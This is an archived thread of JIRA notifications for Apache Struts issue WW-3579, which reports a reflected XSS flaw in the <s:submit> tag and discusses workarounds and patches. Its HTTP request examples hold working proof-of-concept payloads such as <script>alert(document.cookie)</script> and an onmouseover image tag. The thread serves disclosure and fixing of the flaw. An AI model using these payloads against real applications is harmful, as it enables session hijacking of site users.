> NOTE: For the tests detailed in section 3, <s:submit > tag is used to call cantLogin method of LoginAction class. 
> In HTML code this is rendered using the bash syntax as shown below:
> ...
>    <input type="submit" id="cantlogin" name="action:login!cantLogin" value="Can't login" class="cant-login right"/>
>  
>                           </div>         
>                           </form>
> ...
> 3. XSS Tests
> 3.1 passing in a nonexisting method cantLogin<script>alert(document.cookie)</script>
> HTTP request:
> POST http://test.app.net/home.html HTTP/1.1
> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
> Referer: http://test.app.net/home.html
> Accept-Language: en
> Content-Type: application/x-www-form-urlencoded
> UA-CPU: x86
> Accept-Encoding: gzip, deflate
> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
> Proxy-Connection: Keep-Alive
> Host: test.app.net
> Pragma: no-cache
> Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
> Content-Length: 112
> USER_ID=&PASSWORD=&action%3Alogin%21cantLogin<script>alert(document.cookie)</script>=Can%27t+login
> HTTP response:
> HTTP/1.1 500 Internal Server Error
> Date: Fri, 18 Feb 2011 18:16:51 GMT
> Content-Type: text/html; charset=UTF-8
> Content-Length: 97
> Proxy-Connection: Keep-Alive
> Connection: Keep-Alive
> Set-Cookie: ACE-Insert=R4124232031; path=/
> Age: 0
> some_path.action.LoginAction.cantLogin<script>alert(document.cookie)</script>()
> NOTE 1: Without proper output escaping for the invoked method (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html). 
> This allows successful reflected XSS attacks using <s:submit> tag.
> NOTE 2: the returned error also exposes internal paths for the Java class implementing the action for which we manipulate the method to be called (LoginAction in this case). 
> 3.2 passing in a nonexistent action login<script>alert(document.cookie)</script>
> HTTP request:
> POST http://test.app.net/home.html HTTP/1.1
> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
> Referer: http://test.app.net/home.html
> Accept-Language: en
> Content-Type: application/x-www-form-urlencoded
> UA-CPU: x86
> Accept-Encoding: gzip, deflate
> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
> Proxy-Connection: Keep-Alive
> Host: test.app.net
> Pragma: no-cache
> Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
> Content-Length: 112
> USER_ID=&PASSWORD=&action%3Alogin<script>alert(document.cookie)</script>%21cantLogin=Can%27t+login
> HTTP response:
> HTTP/1.1 404 Not Found
> Date: Fri, 18 Feb 2011 18:21:33 GMT
> Content-Type: text/html; charset=UTF-8
> X-GMS-SVR: wpFour
> Content-Length: 103
> Proxy-Connection: Keep-Alive
> Connection: Keep-Alive
> Set-Cookie: ACE-Insert=R4124232031; path=/
> Age: 0
> There is no Action mapped for namespace / and action name login<script>alert(document.cookie)</script>.
> NOTE: Without proper output escaping for the invoked action (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html). 
> This allows successful reflected XSS attacks using <s:submit> tag.

-- 
This message is automatically generated by JIRA.
-
For more information on JIRA, see: http://www.atlassian.com/software/jira

        

[jira] Commented: (WW-3579) XSS vulnerability

Posted by "Lukasz Lenart (JIRA)" <ji...@apache.org>.
    [ https://issues.apache.org/jira/browse/WW-3579?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12997750#comment-12997750 ] 

Lukasz Lenart commented on WW-3579:
-----------------------------------

There are two workarounds:

1. disable Dynamic Method Invocation adding to struts.xml the line below:

<constant name="struts.enable.DynamicMethodInvocation" value="false" />

2. Second options is define a custom global exceptions mapping in struts.xml, as below:

/* struts.xml */

        <global-results>
            <result name="error">/error.jsp</result>
        </global-results>

        <global-exception-mappings>
            <exception-mapping exception="java.lang.Exception" result="error"/>
        </global-exception-mappings>

/* error.jsp */

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ taglib prefix="s" uri="/struts-tags" %>

<html>
<head><title>Simple jsp page</title></head>
<body>
    <h3>Exception:</h3>
    <s:property value="exception"/>

    <h3>Stack trace:</h3>
    <pre>
        <s:property value="exceptionStack"/>
    </pre>
</body>
</html>


> <s:submit> XSS vulnerability
> ----------------------------
>
>                 Key: WW-3579
>                 URL: https://issues.apache.org/jira/browse/WW-3579
>             Project: Struts 2
>          Issue Type: Bug
>    Affects Versions: 2.2.1
>         Environment: Application Server: Oracle WebLogic 10.3.3.0
> JRE: 1.6.9_05-b13
> Development Framework: Struts 2.2.1 (with XWork 2.2.1)
>            Reporter: Marian Ventuneac
>            Assignee: Lukasz Lenart
>              Labels: security
>
> Reflected XSS attacks can be performed on applications using Struts 2.2.1 (with XWork 2.2.1) via <s:submit> tag when the following conditions are met: 
> - no declarative error handling rule is defined in struts.xml with <global-exception-mappings>   AND
> - Dynamic Method Invocation is enabled (this is enabled by default)   AND
> - bash syntax is used in JSP via <s:submit> tag for calling Struts actions and methods   AND  (
> - the called method is not defined in the action implementation class   OR
> - the called action is not matching one already defined in struts.xml  )
> Thus, a custom error page is generated by Struts/XWork (most likely the last one) for rendering such errors. Due to the lack of output encoding for either action or method passed via <s:submit> tag using bash syntax, reflected XSS can be performed by injecting malicious scripting code into both the invoked action and method. 
> Relevant Struts configuration, Java and JSP code is provided below, as well as two test cases showing the reflected XSS issues in Struts/XWork generated error page.
> 1. Configuration
> 1.1 struts.xml
> NOTE: action cantlogin is used for subsequent tests
> <?xml version="1.0" encoding="UTF-8" ?>
> <!DOCTYPE struts PUBLIC
>     "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
>     "http://struts.apache.org/dtds/struts-2.0.dtd">
> <struts>
>             <constant name="struts.devMode" value="false" />
>             <constant name="struts.i18n.encoding" value="UTF-8" />
>             <constant name="struts.codebehind.pathPrefix" value="/WEB-INF/pages/" />
>             <constant name="struts.action.extension" value="html" />
>             <constant name="struts.ui.theme" value="simple"/>
>             <constant name="struts.custom.i18n.resources" value="ErrorCodes,ApplicationResources" />
>             <constant name="struts.multipart.maxSize" value="26214400"/>
>     
>             <!-- Include Struts defaults -->
>             <include file="struts-default.xml" />
>             
>             <!-- Configuration for the default package. -->
>             <package name="default" extends="struts-default">
>        
> ...                        
>                         <global-results>
>                                     <result name="login" type="redirectAction">home</result>
>                                     <result name="sslError">/error.jsp</result>
>                         </global-results>
>                                                 
>                         ...
>             
>                         <action name="login" class="some_path.action.LoginAction">
>                                     <param name="fieldSetNames">...</param>
>                                     <result name="input">/WEB-INF/pages/home.jsp</result>
>                                     <result name="error">/WEB-INF/pages/home.jsp</result>
>                                     <result name="cantlogin" type="redirectAction">
>                                                 <param name="actionName">cantlogin</param>
>                                                 <param name="userId">${userId}</param>
>                                     </result>
>                                     <result name="proceed" type="redirect">landing.html</result>
>                         </action>
>                         
>                         
>             </package>
> </struts>
> 1.2 checking for Dynamic Method Invocation in the Struts 2.2.1 source code (struts2-core-2.2.1-sources.jar), the DMI setting is set to true in default.properties
> struts.enable.DynamicMethodInvocation = true 
> 2. Code
> 2.1 LoginAction.java
> package some_path.action;
> ...
> public class LoginAction extends BaseAction {
>             public static final String CANTLOGIN = "cantlogin";
>             ...       
>             public String cantLogin(){
>                         String returnType = ERROR;
>                         try {
>                                 ...
>                                 returnType = CANTLOGIN;
>                         } catch (CException ce) {
>                                     setMessage(getText(ce.getErrorCode().trim()));
>                         }catch (Exception e) {
>                                     setMessage(getText("ERR_GENERIC"));
>                         }
>                         return returnType;
>             }
>             public String doLogin() {
>                         String returnType = ERROR;
>                         try {
>                                ...
>                         } catch (CException ce) {
>                                     setMessage(getText(ce.getErrorCode().trim()));
>                         } catch (Exception e) {
>                                     setMessage(getText("ERR_GENERIC"));
>                         }
>                         return returnType;
>             }
> }
> 2.2 login.jsp
> <!DOCTYPE html PUBLIC "-// W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
> <%@ include file="/common/taglibs.jsp"%>
> <html xmlns="http://www.w3.org/1999/xhtml">
> <head>
> ...
> </head>
> <body>
> ...
>  <form name="loginform" id="loginform" method="post" action="">
>    ...
>    <s:submit action="login" method="doLogin" name="signin" key="sign.in" cssClass="login-submit" theme="simple" />
>    <s:submit action="login" method="cantLogin" name="cantlogin" key="cant.login" cssClass="cant-login right" theme="simple" />
>    </form>
> ...
> </body>
> </html>
> NOTE: For the tests detailed in section 3, <s:submit > tag is used to call cantLogin method of LoginAction class. 
> In HTML code this is rendered using the bash syntax as shown below:
> ...
>    <input type="submit" id="cantlogin" name="action:login!cantLogin" value="Can't login" class="cant-login right"/>
>  
>                           </div>         
>                           </form>
> ...
> 3. XSS Tests
> 3.1 passing in a nonexisting method cantLogin<script>alert(document.cookie)</script>
> HTTP request:
> POST http://test.app.net/home.html HTTP/1.1
> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
> Referer: http://test.app.net/home.html
> Accept-Language: en
> Content-Type: application/x-www-form-urlencoded
> UA-CPU: x86
> Accept-Encoding: gzip, deflate
> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
> Proxy-Connection: Keep-Alive
> Host: test.app.net
> Pragma: no-cache
> Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
> Content-Length: 112
> USER_ID=&PASSWORD=&action%3Alogin%21cantLogin<script>alert(document.cookie)</script>=Can%27t+login
> HTTP response:
> HTTP/1.1 500 Internal Server Error
> Date: Fri, 18 Feb 2011 18:16:51 GMT
> Content-Type: text/html; charset=UTF-8
> Content-Length: 97
> Proxy-Connection: Keep-Alive
> Connection: Keep-Alive
> Set-Cookie: ACE-Insert=R4124232031; path=/
> Age: 0
> some_path.action.LoginAction.cantLogin<script>alert(document.cookie)</script>()
> NOTE 1: Without proper output escaping for the invoked method (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html). 
> This allows successful reflected XSS attacks using <s:submit> tag.
> NOTE 2: the returned error also exposes internal paths for the Java class implementing the action for which we manipulate the method to be called (LoginAction in this case). 
> 3.2 passing in a nonexistent action login<script>alert(document.cookie)</script>
> HTTP request:
> POST http://test.app.net/home.html HTTP/1.1
> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
> Referer: http://test.app.net/home.html
> Accept-Language: en
> Content-Type: application/x-www-form-urlencoded
> UA-CPU: x86
> Accept-Encoding: gzip, deflate
> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
> Proxy-Connection: Keep-Alive
> Host: test.app.net
> Pragma: no-cache
> Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
> Content-Length: 112
> USER_ID=&PASSWORD=&action%3Alogin<script>alert(document.cookie)</script>%21cantLogin=Can%27t+login
> HTTP response:
> HTTP/1.1 404 Not Found
> Date: Fri, 18 Feb 2011 18:21:33 GMT
> Content-Type: text/html; charset=UTF-8
> X-GMS-SVR: wpFour
> Content-Length: 103
> Proxy-Connection: Keep-Alive
> Connection: Keep-Alive
> Set-Cookie: ACE-Insert=R4124232031; path=/
> Age: 0
> There is no Action mapped for namespace / and action name login<script>alert(document.cookie)</script>.
> NOTE: Without proper output escaping for the invoked action (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html). 
> This allows successful reflected XSS attacks using <s:submit> tag.

-- 
This message is automatically generated by JIRA.
-
For more information on JIRA, see: http://www.atlassian.com/software/jira

        

[jira] Issue Comment Edited: (WW-3579) XSS vulnerability

Posted by "Marian Ventuneac (JIRA)" <ji...@apache.org>.
    [ https://issues.apache.org/jira/browse/WW-3579?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12999149#comment-12999149 ] 

Marian Ventuneac edited comment on WW-3579 at 2/25/11 12:34 AM:
----------------------------------------------------------------

Hi Lukasz,


After fiddling a bit with Maven, I got a custom built for XWork 2.2.1 including the changes suggested in WW-3579.patch.

However, this doesn't seem to fix the XSS issues - please see the test case below. If the XSS payload includes no JavaScript specific characters to be escaped, the XSS attack is still successful.

To ease the whole testing process, I run same project on Tomcar 6.0.32 with custom 500 error page (to replicate the original issue).


GET request (for XWork 2.2.1 with WW-3579.patch):

GET /home.html?action:login!cantLogin%3Cimg%20onmouseover%3djavascript:alert(1)%3E=Can%27t+login HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 ( .NET CLR 3.5.30729)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: JSESSIONID=EFE72ABCED6B9CF8B33BB3D3B3E576C9


HTTP response (for XWork 2.2.1 with WW-3579.patch):

HTTP/1.1 500 Internal Server Error
Server: Apache-Coyote/1.1
Content-Type: text/html
Date: Fri, 25 Feb 2011 00:01:06 GMT
Connection: close
Content-Length: 101

some_path.action.LoginAction.cantLogin<img onmouseover=javascript:alert(1)>()


I took the liberty to alter the original code of DefaultActionProxy class and to sanitize both method and actionName attributes using StringEscapeUtils.escapeHtml() method - please see WW-3579 - 2.patch attached.

The result for using same XSS payload is shown below:


HTTP response (for XWork 2.2.1 with WW-3579.patch2):

HTTP/1.1 500 Internal Server Error
Server: Apache-Coyote/1.1
Content-Type: text/html
Date: Thu, 24 Feb 2011 23:59:12 GMT
Connection: close
Content-Length: 107

some_path.action.LoginAction.cantLogin&lt;img onmouseover=javascript:alert(1)&gt;()


The attached patch WW-3579 - 2.patch also addresses the XSS issues affecting actionName attribute of DefaultActionProxy class, something which was missed by the first patch.


Any feedback on the suggested fixes is welcome.

Regards, 
Marian




      was (Author: marian.ventuneac):
    Hi Lukasz,


After fiddling a bit with Maven, I got a custom built for XWork 2.2.1 including the changes suggested in WW-3579.patch.

However, this doesn't seem to fix the XSS issues - please see the test case below. If the XSS payload includes no JavaScript specific characters to be escaped, the XSS attack is still successful.

To ease the whole testing process, I run same project on Tomcar 6.0.32 with custom 500 error page (to replicate the original issue).


GET request (for XWork 2.2.1 with WW-3579.patch):

GET /home.html?action:login!cantLogin%3Cimg%20onmouseover%3djavascript:alert(1)%3E=Can%27t+login HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 ( .NET CLR 3.5.30729)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: JSESSIONID=EFE72ABCED6B9CF8B33BB3D3B3E576C9


HTTP response (for XWork 2.2.1 with WW-3579.patch):

HTTP/1.1 500 Internal Server Error
Server: Apache-Coyote/1.1
Content-Type: text/html
Date: Fri, 25 Feb 2011 00:01:06 GMT
Connection: close
Content-Length: 101

some_path.action.LoginAction.cantLogin<img onmouseover=javascript:alert(1)>()


I took the liberty to alter the original code of DefaultActionProxy class and to sanitize both method and actionName attributes using StringEscapeUtils.escapeHtml() method - please see WW-3579.patch2 attached.

The result for using same XSS payload is shown below:


HTTP response (for XWork 2.2.1 with WW-3579.patch2):

HTTP/1.1 500 Internal Server Error
Server: Apache-Coyote/1.1
Content-Type: text/html
Date: Thu, 24 Feb 2011 23:59:12 GMT
Connection: close
Content-Length: 107

some_path.action.LoginAction.cantLogin&lt;img onmouseover=javascript:alert(1)&gt;()


The attached patch WW-3579.patch2 also addresses the XSS issues affecting actionName attribute of DefaultActionProxy class, something which was missed by the first patch.


Any feedback on the suggested fixes is welcome.

Regards, 
Marian



  
> <s:submit> XSS vulnerability
> ----------------------------
>
>                 Key: WW-3579
>                 URL: https://issues.apache.org/jira/browse/WW-3579
>             Project: Struts 2
>          Issue Type: Bug
>    Affects Versions: 2.2.1
>         Environment: Application Server: Oracle WebLogic 10.3.3.0
> JRE: 1.6.9_05-b13
> Development Framework: Struts 2.2.1 (with XWork 2.2.1)
>            Reporter: Marian Ventuneac
>            Assignee: Lukasz Lenart
>              Labels: security
>         Attachments: WW-3579 - 2.patch, WW-3579.patch, WW-3579.patch2
>
>
> Reflected XSS attacks can be performed on applications using Struts 2.2.1 (with XWork 2.2.1) via <s:submit> tag when the following conditions are met: 
> - no declarative error handling rule is defined in struts.xml with <global-exception-mappings>   AND
> - Dynamic Method Invocation is enabled (this is enabled by default)   AND
> - bash syntax is used in JSP via <s:submit> tag for calling Struts actions and methods   AND  (
> - the called method is not defined in the action implementation class   OR
> - the called action is not matching one already defined in struts.xml  )
> Thus, a custom error page is generated by Struts/XWork (most likely the last one) for rendering such errors. Due to the lack of output encoding for either action or method passed via <s:submit> tag using bash syntax, reflected XSS can be performed by injecting malicious scripting code into both the invoked action and method. 
> Relevant Struts configuration, Java and JSP code is provided below, as well as two test cases showing the reflected XSS issues in Struts/XWork generated error page.
> 1. Configuration
> 1.1 struts.xml
> NOTE: action cantlogin is used for subsequent tests
> <?xml version="1.0" encoding="UTF-8" ?>
> <!DOCTYPE struts PUBLIC
>     "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
>     "http://struts.apache.org/dtds/struts-2.0.dtd">
> <struts>
>             <constant name="struts.devMode" value="false" />
>             <constant name="struts.i18n.encoding" value="UTF-8" />
>             <constant name="struts.codebehind.pathPrefix" value="/WEB-INF/pages/" />
>             <constant name="struts.action.extension" value="html" />
>             <constant name="struts.ui.theme" value="simple"/>
>             <constant name="struts.custom.i18n.resources" value="ErrorCodes,ApplicationResources" />
>             <constant name="struts.multipart.maxSize" value="26214400"/>
>     
>             <!-- Include Struts defaults -->
>             <include file="struts-default.xml" />
>             
>             <!-- Configuration for the default package. -->
>             <package name="default" extends="struts-default">
>        
> ...                        
>                         <global-results>
>                                     <result name="login" type="redirectAction">home</result>
>                                     <result name="sslError">/error.jsp</result>
>                         </global-results>
>                                                 
>                         ...
>             
>                         <action name="login" class="some_path.action.LoginAction">
>                                     <param name="fieldSetNames">...</param>
>                                     <result name="input">/WEB-INF/pages/home.jsp</result>
>                                     <result name="error">/WEB-INF/pages/home.jsp</result>
>                                     <result name="cantlogin" type="redirectAction">
>                                                 <param name="actionName">cantlogin</param>
>                                                 <param name="userId">${userId}</param>
>                                     </result>
>                                     <result name="proceed" type="redirect">landing.html</result>
>                         </action>
>                         
>                         
>             </package>
> </struts>
> 1.2 checking for Dynamic Method Invocation in the Struts 2.2.1 source code (struts2-core-2.2.1-sources.jar), the DMI setting is set to true in default.properties
> struts.enable.DynamicMethodInvocation = true 
> 2. Code
> 2.1 LoginAction.java
> package some_path.action;
> ...
> public class LoginAction extends BaseAction {
>             public static final String CANTLOGIN = "cantlogin";
>             ...       
>             public String cantLogin(){
>                         String returnType = ERROR;
>                         try {
>                                 ...
>                                 returnType = CANTLOGIN;
>                         } catch (CException ce) {
>                                     setMessage(getText(ce.getErrorCode().trim()));
>                         }catch (Exception e) {
>                                     setMessage(getText("ERR_GENERIC"));
>                         }
>                         return returnType;
>             }
>             public String doLogin() {
>                         String returnType = ERROR;
>                         try {
>                                ...
>                         } catch (CException ce) {
>                                     setMessage(getText(ce.getErrorCode().trim()));
>                         } catch (Exception e) {
>                                     setMessage(getText("ERR_GENERIC"));
>                         }
>                         return returnType;
>             }
> }
> 2.2 login.jsp
> <!DOCTYPE html PUBLIC "-// W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
> <%@ include file="/common/taglibs.jsp"%>
> <html xmlns="http://www.w3.org/1999/xhtml">
> <head>
> ...
> </head>
> <body>
> ...
>  <form name="loginform" id="loginform" method="post" action="">
>    ...
>    <s:submit action="login" method="doLogin" name="signin" key="sign.in" cssClass="login-submit" theme="simple" />
>    <s:submit action="login" method="cantLogin" name="cantlogin" key="cant.login" cssClass="cant-login right" theme="simple" />
>    </form>
> ...
> </body>
> </html>
> NOTE: For the tests detailed in section 3, <s:submit > tag is used to call cantLogin method of LoginAction class. 
> In HTML code this is rendered using the bash syntax as shown below:
> ...
>    <input type="submit" id="cantlogin" name="action:login!cantLogin" value="Can't login" class="cant-login right"/>
>  
>                           </div>         
>                           </form>
> ...
> 3. XSS Tests
> 3.1 passing in a nonexisting method cantLogin<script>alert(document.cookie)</script>
> HTTP request:
> POST http://test.app.net/home.html HTTP/1.1
> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
> Referer: http://test.app.net/home.html
> Accept-Language: en
> Content-Type: application/x-www-form-urlencoded
> UA-CPU: x86
> Accept-Encoding: gzip, deflate
> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
> Proxy-Connection: Keep-Alive
> Host: test.app.net
> Pragma: no-cache
> Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
> Content-Length: 112
> USER_ID=&PASSWORD=&action%3Alogin%21cantLogin<script>alert(document.cookie)</script>=Can%27t+login
> HTTP response:
> HTTP/1.1 500 Internal Server Error
> Date: Fri, 18 Feb 2011 18:16:51 GMT
> Content-Type: text/html; charset=UTF-8
> Content-Length: 97
> Proxy-Connection: Keep-Alive
> Connection: Keep-Alive
> Set-Cookie: ACE-Insert=R4124232031; path=/
> Age: 0
> some_path.action.LoginAction.cantLogin<script>alert(document.cookie)</script>()
> NOTE 1: Without proper output escaping for the invoked method (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html). 
> This allows successful reflected XSS attacks using <s:submit> tag.
> NOTE 2: the returned error also exposes internal paths for the Java class implementing the action for which we manipulate the method to be called (LoginAction in this case). 
> 3.2 passing in a nonexistent action login<script>alert(document.cookie)</script>
> HTTP request:
> POST http://test.app.net/home.html HTTP/1.1
> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
> Referer: http://test.app.net/home.html
> Accept-Language: en
> Content-Type: application/x-www-form-urlencoded
> UA-CPU: x86
> Accept-Encoding: gzip, deflate
> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
> Proxy-Connection: Keep-Alive
> Host: test.app.net
> Pragma: no-cache
> Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
> Content-Length: 112
> USER_ID=&PASSWORD=&action%3Alogin<script>alert(document.cookie)</script>%21cantLogin=Can%27t+login
> HTTP response:
> HTTP/1.1 404 Not Found
> Date: Fri, 18 Feb 2011 18:21:33 GMT
> Content-Type: text/html; charset=UTF-8
> X-GMS-SVR: wpFour
> Content-Length: 103
> Proxy-Connection: Keep-Alive
> Connection: Keep-Alive
> Set-Cookie: ACE-Insert=R4124232031; path=/
> Age: 0
> There is no Action mapped for namespace / and action name login<script>alert(document.cookie)</script>.
> NOTE: Without proper output escaping for the invoked action (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html). 
> This allows successful reflected XSS attacks using <s:submit> tag.

-- 
This message is automatically generated by JIRA.
-
For more information on JIRA, see: http://www.atlassian.com/software/jira

        

[jira] Assigned: (WW-3579) XSS vulnerability

Posted by "Lukasz Lenart (JIRA)" <ji...@apache.org>.
     [ https://issues.apache.org/jira/browse/WW-3579?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Lukasz Lenart reassigned WW-3579:
---------------------------------

    Assignee: Lukasz Lenart

> <s:submit> XSS vulnerability
> ----------------------------
>
>                 Key: WW-3579
>                 URL: https://issues.apache.org/jira/browse/WW-3579
>             Project: Struts 2
>          Issue Type: Bug
>    Affects Versions: 2.2.1
>         Environment: Application Server: Oracle WebLogic 10.3.3.0
> JRE: 1.6.9_05-b13
> Development Framework: Struts 2.2.1 (with XWork 2.2.1)
>            Reporter: Marian Ventuneac
>            Assignee: Lukasz Lenart
>              Labels: security
>
> Reflected XSS attacks can be performed on applications using Struts 2.2.1 (with XWork 2.2.1) via <s:submit> tag when the following conditions are met: 
> - no declarative error handling rule is defined in struts.xml with <global-exception-mappings>   AND
> - Dynamic Method Invocation is enabled (this is enabled by default)   AND
> - bash syntax is used in JSP via <s:submit> tag for calling Struts actions and methods   AND  (
> - the called method is not defined in the action implementation class   OR
> - the called action is not matching one already defined in struts.xml  )
> Thus, a custom error page is generated by Struts/XWork (most likely the last one) for rendering such errors. Due to the lack of output encoding for either action or method passed via <s:submit> tag using bash syntax, reflected XSS can be performed by injecting malicious scripting code into both the invoked action and method. 
> Relevant Struts configuration, Java and JSP code is provided below, as well as two test cases showing the reflected XSS issues in Struts/XWork generated error page.
> 1. Configuration
> 1.1 struts.xml
> NOTE: action cantlogin is used for subsequent tests
> <?xml version="1.0" encoding="UTF-8" ?>
> <!DOCTYPE struts PUBLIC
>     "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
>     "http://struts.apache.org/dtds/struts-2.0.dtd">
> <struts>
>             <constant name="struts.devMode" value="false" />
>             <constant name="struts.i18n.encoding" value="UTF-8" />
>             <constant name="struts.codebehind.pathPrefix" value="/WEB-INF/pages/" />
>             <constant name="struts.action.extension" value="html" />
>             <constant name="struts.ui.theme" value="simple"/>
>             <constant name="struts.custom.i18n.resources" value="ErrorCodes,ApplicationResources" />
>             <constant name="struts.multipart.maxSize" value="26214400"/>
>     
>             <!-- Include Struts defaults -->
>             <include file="struts-default.xml" />
>             
>             <!-- Configuration for the default package. -->
>             <package name="default" extends="struts-default">
>        
> ...                        
>                         <global-results>
>                                     <result name="login" type="redirectAction">home</result>
>                                     <result name="sslError">/error.jsp</result>
>                         </global-results>
>                                                 
>                         ...
>             
>                         <action name="login" class="some_path.action.LoginAction">
>                                     <param name="fieldSetNames">...</param>
>                                     <result name="input">/WEB-INF/pages/home.jsp</result>
>                                     <result name="error">/WEB-INF/pages/home.jsp</result>
>                                     <result name="cantlogin" type="redirectAction">
>                                                 <param name="actionName">cantlogin</param>
>                                                 <param name="userId">${userId}</param>
>                                     </result>
>                                     <result name="proceed" type="redirect">landing.html</result>
>                         </action>
>                         
>                         
>             </package>
> </struts>
> 1.2 checking for Dynamic Method Invocation in the Struts 2.2.1 source code (struts2-core-2.2.1-sources.jar), the DMI setting is set to true in default.properties
> struts.enable.DynamicMethodInvocation = true 
> 2. Code
> 2.1 LoginAction.java
> package some_path.action;
> ...
> public class LoginAction extends BaseAction {
>             public static final String CANTLOGIN = "cantlogin";
>             ...       
>             public String cantLogin(){
>                         String returnType = ERROR;
>                         try {
>                                 ...
>                                 returnType = CANTLOGIN;
>                         } catch (CException ce) {
>                                     setMessage(getText(ce.getErrorCode().trim()));
>                         }catch (Exception e) {
>                                     setMessage(getText("ERR_GENERIC"));
>                         }
>                         return returnType;
>             }
>             public String doLogin() {
>                         String returnType = ERROR;
>                         try {
>                                ...
>                         } catch (CException ce) {
>                                     setMessage(getText(ce.getErrorCode().trim()));
>                         } catch (Exception e) {
>                                     setMessage(getText("ERR_GENERIC"));
>                         }
>                         return returnType;
>             }
> }
> 2.2 login.jsp
> <!DOCTYPE html PUBLIC "-// W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
> <%@ include file="/common/taglibs.jsp"%>
> <html xmlns="http://www.w3.org/1999/xhtml">
> <head>
> ...
> </head>
> <body>
> ...
>  <form name="loginform" id="loginform" method="post" action="">
>    ...
>    <s:submit action="login" method="doLogin" name="signin" key="sign.in" cssClass="login-submit" theme="simple" />
>    <s:submit action="login" method="cantLogin" name="cantlogin" key="cant.login" cssClass="cant-login right" theme="simple" />
>    </form>
> ...
> </body>
> </html>
